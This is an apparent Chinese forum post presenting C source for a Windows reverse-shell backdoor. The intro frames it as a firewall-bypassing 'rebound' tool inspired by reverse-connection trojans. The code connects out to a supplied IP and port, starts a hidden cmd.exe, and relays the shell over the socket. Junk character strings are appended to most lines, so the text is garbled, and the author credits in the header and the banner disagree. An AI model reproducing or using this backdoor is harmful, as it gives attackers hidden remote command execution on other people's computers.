这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mL`8COA
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/* ============================== c8uw_6#r(D
Rebound port in Windows NT g&2g>]
By wind,2006/7 ?|W3RK;
===============================*/ Bt@?l]Y
#include Lv%t*s2$/
#include E#(e2Z=
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#pragma comment(lib,"wsock32.lib") Ah7"qv'L\
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void OutputShell(); l%GArH`
SOCKET sClient; ~$T>,^K
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; aQx6;PC
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void main(int argc,char **argv) Bj\
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{ Ka(B&.
WSADATA stWsaData; '{
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int nRet; .p e3L7g
SOCKADDR_IN stSaiClient,stSaiServer; Q34u>VkdQI
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if(argc != 3) Kj
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{ "*X\'LPs=
printf("Useage:\n\rRebound DestIP DestPort\n"); g{}<ptx]
return; 8el6z2
} ^z)De+,!4
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WSAStartup(MAKEWORD(2,2),&stWsaData); "0;WYw?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t`Z3*?UqI
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stSaiClient.sin_family = AF_INET; aanS^t0
stSaiClient.sin_port = htons(0); 1PdG1'
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); BE@(| U
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A? B+
{ hIqU idJod
printf("Bind Socket Failed!\n"); 8o|C43Q_
return; ;AOLbmb)H4
} RDDA^U7y#
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stSaiServer.sin_family = AF_INET; 5Q8 H8!^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); KM[0aXOtv
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); I[K4/91
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M1m]1<
{ Xv!Gg6v6
printf("Connect Error!"); fWEQ vQ
return; ^ fC2o%3^
} zKJQel5
OutputShell(); \w1XOm [)
} 3h.,7,T
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void OutputShell() y'^U4# (
{ a~LA&>@
char szBuff[1024]; !^F_7u@Q
SECURITY_ATTRIBUTES stSecurityAttributes; OV;VsF
OSVERSIONINFO stOsversionInfo; | VaJ70\o
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3^
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STARTUPINFO stStartupInfo; _p: n\9k
char *szShell; v?]a tb/h`
PROCESS_INFORMATION stProcessInformation; F68eI%Y
unsigned long lBytesRead; [sH3REE1h
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 'q:7PkN!p
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +zch e
stSecurityAttributes.lpSecurityDescriptor = 0; %eofG]VM<
stSecurityAttributes.bInheritHandle = TRUE; /Lr`Aka5
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6:%lxG
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )ddJ\:
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); yN`hW&K
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !YGHJwW:
stStartupInfo.wShowWindow = SW_HIDE; 9kWI2cLzQt
stStartupInfo.hStdInput = hReadPipe; )N- '~<N
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |k}L=oWE
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GetVersionEx(&stOsversionInfo); FD E?O]^
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switch(stOsversionInfo.dwPlatformId) y{3+Un
{ R3og]=uFzm
case 1: uZL,%pF3A
szShell = "command.com"; .up[wt gN
break; I>nYI|o1
default: Ek `bPQ5
szShell = "cmd.exe"; ?q4`&";{3
break; #Swc>jYc
} 0!YVRit\N
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); X(x,6cC
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send(sClient,szMsg,77,0); h9m|f|cH
while(1) <?IDCOt ?
{ !4+Die X
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {G vGV
if(lBytesRead) '"7b;%EN'
{ ^GM3nx$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vzfMME17
send(sClient,szBuff,lBytesRead,0); ,m`&J?
} \i,H1a
else Dx /w&v
{ ?K pDEH~\
lBytesRead=recv(sClient,szBuff,1024,0); ?,riwDI 2
if(lBytesRead<=0) break; ;0kAm
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); '+$r7?dKP
} 9c}C<s`M
} E<-W & a }
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return; =/'>.p3/S
}